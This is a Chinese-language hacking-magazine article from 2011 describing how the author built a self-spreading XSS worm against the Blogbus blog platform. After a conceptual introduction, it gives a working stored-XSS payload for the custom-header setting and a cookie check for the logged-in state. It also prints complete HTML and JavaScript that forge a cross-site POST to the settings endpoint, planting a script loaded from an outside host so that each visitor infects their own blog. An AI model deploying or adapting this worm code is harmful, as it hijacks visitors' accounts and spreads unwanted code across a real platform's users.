Blogbus XSS Worm攻击

Table of Contents

本文已发于《黑客防线》2011.6期

1 前言

Blogbus满站都是XSS已经众所周知了,早在09年,当我还在使用Blogbus时,发现了两处XSS,一处位于友情链接处,另一处则在自定义Header处。之后在网上看到了泉哥公布了很多Blogbus的XSS。Blogbus团队一直认为这不属于漏洞,于是便有了此文。

2 蠕虫&XSS 蠕虫

1988年,罗伯特·莫里斯利用Unix中的一个缓存溢出漏洞编写了世界上第一个蠕虫病毒,之后在Internet上蔓延,自我复制。

所以,蠕虫病毒的一个重要特征就是自我复制。

XSS攻击的本质是网站程序代码过滤不严,攻击者利用存在缺陷的网站作为平台向用户浏览器注入一段可执行的脚本代码。像微博、博客、社交这类用户交互式互动的网站倘若出现跨站漏洞,假设用户A的个人页面出现XSS,并且被注入了持久性的XSS代码,用户B来访问用户A时,用户B的浏览器就会执行注入的代码。因为HTML结合Javascript的灵活性,可以用XSS做很多事,比如挂马、钓鱼、蠕虫,而不仅仅限于弹出一个提示对话框。不像操作系统或者应用程序,只要及时更新了安全补丁,就可以避免特定的漏洞攻击,像博客之类的程序,由博客提供商编写的特定程序,只要程序出现漏洞,所用用户都可能会受到安全威胁。

XSS Worm就是利用持久性跨站,继承了传统的蠕虫病毒自我传播的特征,编写特定的代码来达到自我传播的目的。当用户A被植入了可传播的恶意代码后,用户B来浏览,将会被感染,因为用户A和用户B所使用的程序结构是同样的。接着用户C来浏览用户B或者用户A,用户C也同样登录了的,所以用户C在没有防范的情况下也会被感染。如此循环,可以自我传播一直蔓延下去。

3 利用思路

3.1 发现跨站漏洞

要实现XSS Worm,首先需要一个持久性跨站漏洞,即提交的数据会被保存在服务器的数据库中,当用户来浏览你的页面时,代码会被执行。

3.2 编写利用代码

编写特定的代码,该代码可以自动利用GET或者POST方式向出现漏洞的地方提交数据,达到感染的目的。

3.3 等待用户来访问

只要有用户来访问,首先判断是否登陆了,如果登陆了,就实施感染;如果没有登陆,随便你想做什么,跳转到其他地方、弹出提示、钓鱼、挂马、诱惑别人登录……

4 Blogbus XSS Worm编写

一般来说,编写XSS Worm都用了Ajax技术,利用XMLHttpRequest强大的功能来实现。但是我编写时,遇到了难以描述的困难,让我情何以堪,所以没有遵循传统的XSS Worm所用的Ajax。

首先我们看触发漏洞的地方,用你的Blogbus账号登陆,在管理中心——博客——博客设置里的“自定义Header”中提交跨站代码<script>alert("xss test")</script>。保存并浏览你的博客,自个儿就弹出个内容为“xss test”的提示。如图1、图2:

1.jpg

图1:触发XSS的地方

2.jpg

图2:执行效果

成功执行了跨站代码。我们需要引入外部的js文件来执行咱们的恶意代码,然后用<script src=http://***/xss.js></script>引入。

为了感染其他用户,需要先判断浏览者是否登陆了Blogbus,这个我们可以从Cookie值中来判断,为了找到登陆后的Cookie值,咱们先抓包。

用WSockExpert打开一个浏览器进程,然后访问一个Blogbus的博客地址,我访问我的http://luanx.blogbus.com%E3%80%82%E6%9C%80%E5%90%8E%E6%8A%93%E5%87%BA%E7%9A%84%E6%9C%AA%E7%99%BB%E9%99%86Blogbus%E7%9A%84Cookie%E5%A6%82%E4%B8%8B%EF%BC%9A

Cookie:__utma=42272954.1234898992.1306645253.1306645253.1306645253.1; __utmb=42272954.1.10.1306645253; __utmz=42272954.1306645253.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); valid=blogbus.com

然后登陆,再访问,抓出的Cookie值如下:

Cookie:__utmc=42272954; __utma=42272954.1754355615.1306409514.1306409514.1306409514.1; __utmb=42272954.2.10.1306409514; __utmz=42272954.1306409514.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __gads=ID=2bbd5b77e7b8dca5:T=1306408636:S=ALNI_MZQ9cvxr0vTkxYedsAUIvi9x0FhUA; valid=blogbus.com; bus_uid=4173493; bus_xuid=4173493

对比两个状态(登陆和未登陆)的Cookie值,登陆后的Cookie中多了busuid一项,因此,我们以它作为判断用户是否登陆的依据。

简单说,登陆了Blogbus后,Cookie中会出现busuid。利用Javascript的Document对象的cookie属性就可以读出当前的cookie值了,然后再利用indexOf()方法来查找cookie值中是否存在“busuid”,代码如下:

var blogbus_cookie;
blogbus_cookie = document.cookie;

//indexOf()返回-1则代表没有找到
if ( blogbus_cookie.indexOf("bus_uid") != -1)
{
    alert("login");
} else alert("no login");

登陆后就可以向跨站点提交恶意数据了。继续来到博客设置页面(http://blog.home.blogbus.com/settings/basic%EF%BC%89%EF%BC%8C%E7%84%B6%E5%90%8E%E6%9F%A5%E7%9C%8B%E7%BD%91%E9%A1%B5%E7%9A%84%E6%BA%90%E4%BB%A3%E7%A0%81%EF%BC%8C%E7%94%A8%E5%85%B3%E9%94%AE%E5%AD%97form%E4%B8%BA%E5%85%B3%E9%94%AE%E5%AD%97%EF%BC%8C%E6%89%BE%E5%88%B0%E6%8F%90%E4%BA%A4%E5%A4%84%E7%90%86%E8%AF%A5%E9%A1%B5%E9%9D%A2%E6%95%B0%E6%8D%AE%E7%9A%84%E5%9C%B0%E5%9D%80%EF%BC%8C%E5%A6%82%E5%9B%BE3%EF%BC%9A

3.jpg

图3

可看出数据以POST方式提交的,处理地址是/4352807/settings/basic,4352807很显然是一个跟用户有关的ID,每个博客用户的地址可能不一样的,但后来经过测试,发现直接提交给/settings/basic也行得通,这样就简单多了。

比较棘手的是XMLHttpRequest为了安全考虑,无法跨域提交POST信息,所以这里也出现了问题。可以用微软提供的XDomainRequest来跨域提交POST,但只针对IE浏览器,并且效果不好。后来在吃饭时想到一个简单的方法,直接用HTML来跨域提交。我的思路是在js文件里使用window.open(也可以用其他很多方法,但为了防止代码滥用,我选择的window.open,因为浏览器会拦截弹出窗口的)打开一个用来跨域提交请求的HTML文件,在该HTML文件里,我设置了单击事件(Onclick),一旦发生单击事件,就提交POST请求,为了防止滥用代码,高手可以换成其他事件。

直接完整给出HTML代码,如下:

<html>
  <title>Xss Test</title>
  <script language="javascript">

    function xss()
    {
    //自动提交表单内容
    document.form1.name.value = "xss test";          //博客名称
    document.form1.description.value = "xss test";  //博客简介
    document.form1.accessPwd.value="";   //访问密码,为空
    document.form1.meta.value="<script src=http:\/\/192.168.127.135\/xss.js><\/script>"; //恶意代码
	document.form1.submit();
	}
    </script>

    <body Onclick=xss();>
      <form name=form1 action=http://blog.home.blogbus.com/settings/basic  method=post>
	<table>
	  <tr><td><input type=hidden name=name></td></tr>
	  <tr><td><textarea name=description style="border:none; overflow-y:hidden"></textarea></td></tr>
	  <tr><td><input type=hidden name=accessPwd></td></tr>
	  <tr><td><textarea name=meta style="border:none; overflow-y:hidden" ></textarea></td></tr>
	  <tr><td><input type=hidden value=PUT name=REQUEST_METHOD><tr><td>
	</table>
      </form>
    </body>
</html>

注意有个隐藏的输入框<input type=hidden value=PUT name=REQUESTMETHOD>,之前我没加这个,怎么POST提交都没有感染,后来才发现需要这个。

完整的xss.js代码如下:

var blogbus_cookie = document.cookie; //得到Cookie

//直接在Cookie值里搜索“bus_uid”,找到则证明是登陆了的
//判断是否登陆
//如果登陆了,就全屏弹出一个窗口
if ( blogbus_cookie.indexOf("bus_uid=") != -1 )
{
    var height = window.screen.availHeight;
    var width = window.screen.availWidth;
    window.opener = null;

    //下面设置弹出页面的地址
    window.open("http://192.168.127.135/xss.htm","_blank", "height=" + height + ",width=" + width +",top=0,left=0,toolbar=no,menubar=no,scrollbars=yes,resizable=yes,location=no,status=no");
}else
    //alert("no login");

用另外一个用户登录,访问嵌入了以上代码的博客,就会弹出一个空白网页,当单击了该空白网页,就会被感染,效果如图4:

4.jpg

图4

其实用脚本写XSS Worm还有很多玩法,不同的方法危害程度也不同,其实不用Ajax技术写XSS Worm也挺有意思的。XSS很灵活,XSS Worm很强大。